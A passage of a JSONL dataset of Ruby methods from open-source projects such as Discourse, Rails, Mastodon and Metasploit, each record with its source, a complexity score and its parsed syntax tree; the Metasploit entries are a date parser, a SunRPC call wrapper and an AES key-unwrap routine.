{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/user_guardian.rb","start_line":24,"raw_source":"def can_edit_username?(user)\n    return false if SiteSetting.auth_overrides_username?\n    return true if is_staff?\n    return false if SiteSetting.username_change_period <= 0\n    return false if is_anonymous?\n    is_me?(user) && user.created_at > SiteSetting.username_change_period.days.ago\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_edit_username?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"auth_overrides_username?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_staff?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"username_change_period\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_anonymous?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_me?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"username_change_period\"]},\"days\"]},\"ago\"]}]}]}]}]}","id":"b659735a-6370-479e-afa2-d30bb6a9cca5"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/data/20250206101336_change_default_plan_to_active.rb","start_line":4,"raw_source":"def up\n    plan = Billing::Plan.find_by(name: \"Starter\")\n    plan.active!\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plan\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Billing\"]},\"Plan\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Starter\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"active!\"]}]}]}","id":"b0a34bcc-fc06-4e0d-8bbe-5d175215407c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/modules/committer_count.rb","start_line":33,"raw_source":"def parse_date(date)\n  case date\n  when /([0-9]+)y(ear)?s?/\n    seconds = $1.to_i* (60*60*24*365.25)\n    calc_date = (Time.now - seconds).strftime(\"%Y-%m-%d\")\n  when /([0-9]+)m(onth)?s?/\n    seconds = $1.to_i* (60*60*24*(365.25 / 12))\n    calc_date = (Time.now - seconds).strftime(\"%Y-%m-%d\")\n  when /([0-9]+)w(eek)?s?/\n    seconds = $1.to_i* (60*60*24*7)\n    calc_date = (Time.now - seconds).strftime(\"%Y-%m-%d\")\n  when /([0-9]+)d(ay)?s?/\n    seconds = $1.to_i* (60*60*24)\n    calc_date = (Time.now - seconds).strftime(\"%Y-%m-%d\")\n  else\n    calc_date = Time.parse(date).strftime(\"%Y-%m-%d\")\n  end\nend","complexity_score":72.05,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([0-9]+)y(ear)?s?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[60]},\"*\",{\"type\":\"int\",\"children\":[60]}]},\"*\",{\"type\":\"int\",\"children\":[24]}]},\"*\",{\"type\":\"float\",\"children\":[365.25]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calc_date\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([0-9]+)m(onth)?s?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[60]},\"*\",{\"type\":\"int\",\"children\":[60]}]},\"*\",{\"type\":\"int\",\"children\":[24]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"float\",\"children\":[365.25]},\"/\",{\"type\":\"int\",\"children\":[12]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calc_date\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([0-9]+)w(eek)?s?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[60]},\"*\",{\"type\":\"int\",\"children\":[60]}]},\"*\",{\"type\":\"int\",\"children\":[24]}]},\"*\",{\"type\":\"int\",\"children\":[7]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calc_date\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([0-9]+)d(ay)?s?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_i\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[60]},\"*\",{\"type\":\"int\",\"children\":[60]}]},\"*\",{\"type\":\"int\",\"children\":[24]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calc_date\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calc_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]}]}","id":"447381bd-92e1-4409-8d38-21b85c25e2a8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/sunrpc.rb","start_line":89,"raw_source":"def sunrpc_call(proc, buf, timeout = timeout())\n    ret = rpcobj.call(proc, buf, timeout)\n    raise ::Rex::Proto::SunRPC::RPCError, \"#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}\" unless ret\n\n    begin\n      arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)\n    rescue Rex::ArgumentError\n      raise Rex::Proto::SunRPC::RPCError, \"#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}\"\n    end\n\n    if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS\n      progname = progresolv(rpcobj.program)\n      err = \"SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: \"\n      if (arr[1] != MSG_ACCEPTED)\n        err << 'Message not accepted'\n      elsif (arr[4] and arr[4] != SUCCESS)\n        case arr[4]\n          when PROG_UMAVAIL  then err << \"Program Unavailable\"\n          when PROG_MISMATCH then err << \"Program Version Mismatch\"\n          when PROC_UNAVAIL  then err << \"Procedure Unavailable\"\n          when GARBAGE_ARGS  then err << \"Garbage Arguments\"\n          when SYSTEM_ERR    then err << \"System Error\"\n          else err << \"Unknown Error\"\n        end\n      end\n      raise ::Rex::Proto::SunRPC::RPCError, \"#{rhost}:#{rport} - SunRPC - #{err}\"\n    end\n    return ret\n  end","complexity_score":72.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sunrpc_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proc\"]},{\"type\":\"arg\",\"children\":[\"buf\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[null,\"timeout\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rpcobj\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"proc\"]},{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"RPCError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SunRPC - No response to SunRPC call for procedure: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Encoder\"]},\"XDR\"]},\"decode!\",{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"RPCError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SunRPC - XDR decoding failed in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__callee__\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"MSG_ACCEPTED\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"SUCCESS\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"progname\",{\"type\":\"send\",\"children\":[null,\"progresolv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rpcobj\"]},\"program\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"err\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SunRPC call for program \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rpcobj\"]},\"program\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progname\"]}]},{\"type\":\"str\",\"children\":[\"], procedure \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]}]},{\"type\":\"str\",\"children\":[\", failed: \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"MSG_ACCEPTED\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Message not accepted\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"SUCCESS\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROG_UMAVAIL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Program Unavailable\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROG_MISMATCH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Program Version Mismatch\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROC_UNAVAIL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Procedure Unavailable\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GARBAGE_ARGS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Garbage Arguments\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYSTEM_ERR\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"System Error\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Unknown Error\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"RPCError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SunRPC - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}","id":"8054a830-1526-4984-9d95-fd46f4985862"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog_cli.rb","start_line":146,"raw_source":"def test_report\n    setup_flog\n\n    o = StringIO.new\n    @flog.report o\n\n    expected = \"     1.6: flog total\n     1.6: flog/method average\n\n     1.6: main#none\n\"\n\n    assert_equal expected, o.string\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_flog\"]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"report\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"     1.6: flog total\\n\"]},{\"type\":\"str\",\"children\":[\"     1.6: flog/method average\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"     1.6: main#none\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"string\"]}]}]}]}","id":"601c5092-30dd-4fd0-ab8a-49acbe7c12f9"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/exports/create.rb","start_line":4,"raw_source":"def initialize(export:)\n    @export       = export\n    @user         = export.user\n    @start_at     = export.start_at\n    @end_at       = export.end_at\n    @file_format  = export.file_format\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"export\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@export\",{\"type\":\"lvar\",\"children\":[\"export\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export\"]},\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@start_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export\"]},\"start_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@end_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export\"]},\"end_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export\"]},\"file_format\"]}]}]}]}","id":"887995e8-e0e9-42ad-be4d-2bcb3f5dc4ae"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/layout_test.rb","start_line":91,"raw_source":"def test_namespaced_controllers_auto_detect_layouts2\n    @controller = MultipleExtensions.new\n    get :hello\n    assert_equal \"multiple_extensions.html.erb hello.erb\", @response.body.strip\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_namespaced_controllers_auto_detect_layouts2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultipleExtensions\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"multiple_extensions.html.erb hello.erb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]},\"strip\"]}]}]}]}","id":"e0b70634-7565-4c00-8cef-f30151a27198"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/session_activation.rb","start_line":36,"raw_source":"def active?(id)\n      id && exists?(session_id: id)\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"active?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}","id":"116c37c1-d736-457d-ac3c-387fd9e1bc32"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/lib/open_project/journal_formatter/agenda_item_duration.rb","start_line":51,"raw_source":"def value(html, old_value, value)\n    html = html ? \"_html\" : \"\"\n\n    if old_value.nil?\n      I18n.t(:\"activity.item.meeting_agenda_item.duration.added#{html}\", value:)\n    elsif value.nil?\n      I18n.t(:\"activity.item.meeting_agenda_item.duration.removed\")\n    else\n      I18n.t(:\"activity.item.meeting_agenda_item.duration.updated#{html}\", value:, old_value:)\n    end\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]},{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"str\",\"children\":[\"_html\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"activity.item.meeting_agenda_item.duration.added\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"activity.item.meeting_agenda_item.duration.removed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"activity.item.meeting_agenda_item.duration.updated\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_value\"]},{\"type\":\"lvar\",\"children\":[\"old_value\"]}]}]}]}]}]}]}]}","id":"cff29c16-5cac-416c-a930-adf7503262f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/crypto/key_wrap/nist_sp_800_38f.rb","start_line":16,"raw_source":"def self.aes_unwrap(kek, key_data, authenticate: true)\n    # padded mode as described in Section 6.3 is not supported at this time\n    raise Rex::ArgumentError.new('kek must be 16, 24 or 32-bytes long') unless [16, 24, 32].include?(kek.length)\n    raise Rex::ArgumentError.new('key_data length must be a multiple of 8') unless key_data.length % 8 == 0\n    icv1 = (\"\\xa6\".b * 8)\n\n    r = key_data.bytes.each_slice(8).map { |c| c.pack('C*') }\n    a = r.shift\n\n    ciph = -> (data) do\n      # per-section 5.1, AES is the only suitable block cipher\n      cipher = OpenSSL::Cipher::AES.new(kek.length * 8, :ECB).decrypt\n      cipher.key = kek\n      cipher.padding = 0\n      cipher.update(data)\n    end\n\n    n = r.length\n\n    5.downto(0) do |j|\n      (n - 1).downto(0) do |i|\n        atr = [a.unpack1('Q>') ^ ((n * j) + i + 1)].pack('Q>') + r[i]\n\n        b = ciph.call(atr)\n        a = b[...8]\n        r[i] = b[-8...]\n      end\n    end\n\n    # setting authenticate to true effectively switches the operation from Section 6.2 algorithm #2 to algorithm #4\n    if authenticate && a != icv1\n      raise Rex::RuntimeError.new('ICV1 integrity check failed in KW-AD(C)')\n    end\n\n    r.join('')\n  end","complexity_score":78.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"aes_unwrap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"kek\"]},{\"type\":\"arg\",\"children\":[\"key_data\"]},{\"type\":\"kwoptarg\",\"children\":[\"authenticate\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_data\"]},\"bytes\"]},\"each_slice\",{\"type\":\"int\",\"children\":[8]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"shift\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ciph\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cipher\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"AES\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kek\"]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"sym\",\"children\":[\"ECB\"]}]},\"decrypt